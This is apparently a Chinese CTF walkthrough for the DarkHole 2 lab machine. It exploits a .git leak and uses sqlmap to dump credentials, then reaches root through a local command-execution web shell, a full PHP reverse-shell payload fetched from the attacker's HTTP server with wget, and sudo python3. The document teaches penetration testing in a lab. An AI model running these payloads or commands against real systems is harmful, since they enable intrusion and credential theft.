说是困难级别,其实不难的一个靶机
kali攻击机ip:192.168.181.129
主机发现
nmap -sP 192.168.181.0/24
端口扫描
nmap -p 1-65535 -A 192.168.181.158
直接在端口扫描的时候就发现了.git泄露
使用scrabble将.git下载到本地(不是kali自带的,要下载mirrors / denny0223 / scrabble · GitCode)
../scrabble http://192.168.181.158
cat config.php
发现了mysql的连接信息,没密码的
查看提交日志
git log
发现这位作者更新了login.php版本
查看更新版本和之前的版本间的差异
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
发现他删去了一个用户的登录信息 lush@admin.com 321
并且添加了对email和password参数的转义,防止sql注入
用这个被除名的用户信息登录,原来是作者自己
这个url很有sql注入的感觉,sqlmap跑跑
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o"
果然,id存在sql注入漏洞。这作者怎么只顾登录界面的sql漏洞呢,家都被偷了
爆数据库
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" --dbs
爆表
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 --tables
先爆ssh字段
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T ssh --columns
爆出了一个用户密码
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T ssh -C user,pass --dump
jehad fool
再试试users
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T users --columns
sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T users -C username,password --dump
没用,我们已经知道了
登录ssh
ssh jehad@192.168.181.158
密码在手,先查看suid命令
sudo -l
一无所获
找找用户目录有啥好东西
losy目录下有个flag
DarkHole{‘This_is_the_life_man_better_than_a_cruise’}
ls -a
查看隐藏文件,这个.bash_history
很吸引我,可惜看不了
losy的看不了,回去看看jehad目录有没有
(忽略这个shell.php,我忘记删了=_= )
出现了一大堆bash命令,这些短的我都试过了,没用,根本没有id_rsa
但是我发现了这个/opt/web,让我看看是个什么事
有个index.php,用来执行cmd指令的
看样子这个叫jehad的人心怀不轨啊,不过给我们留下了线索,是好事
还有这个目录,也去瞧瞧
单凭我浅薄的知识积累,我确实没完全看懂,可能是多长时间过去就执行什么指令吧(我猜的)
但是不要紧,我发现了关键的地方,最后两句,root开启了apache2的服务,losy在9999端口执行了刚刚我们发现的index.php脚本(看来这losy也不简单啊)
那就执行一下前辈留下的payload吧
curl "http://127.0.0.1:9999/?cmd=id"
使用参数cmd查出了losy的id
可以使用一下端口转发,在kali浏览器上访问url(其实不用也可以=_=,纯粹想搞点花里胡哨的)
ssh -L 9999:127.0.0.1:9999 jehad@192.168.181.158
意思是将127.0.0.1:9999映射到我们本地回环地址:9999上,使用192.168.181.158作为跳板,就可以在kali本地访问127.0.0.1:9999了
推荐一下我另外的一篇文章 😃,专门介绍端口转发的,有兴趣可以看看
cmd也可以执行php文件,所以我们可以搞一个php反弹shell文件,cmd执行,就得到反弹shell了
我的祖传反弹shell
<?php /**/ error_reporting(0); $ip = '192.168.181.129'; $port = 6666; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
kali开启http服务
python -m http.server 8888
进入一个可以写入的目录,/tmp就是最好的选择,上传php脚本
cd /tmp
wget "http://192.168.181.129:8888/shell.php"
msf开启监听
cmd运行php脚本命令:
php php文件
在kali浏览器里访问url
http://127.0.0.1:9999/?cmd=php%20%20%20/tmp/shell.php
立刻就连上了
弄一个回显 python3 -c 'import pty;pty.spawn("/bin/bash")'\;
刚刚查出来id是losy的,拿到的shell也理所当然是losy的
刚刚那个没有权限的.bash_history仍让我牵肠挂肚,所以第一时间查看
cat .bash_history
看啊看,要有耐心
这不,发现了密码,怎么losy也在搞提权这套
跟着losy前辈的步伐,我们走向了成功
sudo -l
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'\;
我的python代码和losy的有点点不一样,因为我喜欢标新立异=_=
又拿到一个flag
DarkHole{‘Legend’}
flag有没有找全我不知道,反正拿到root权限就算完事了
o了 😃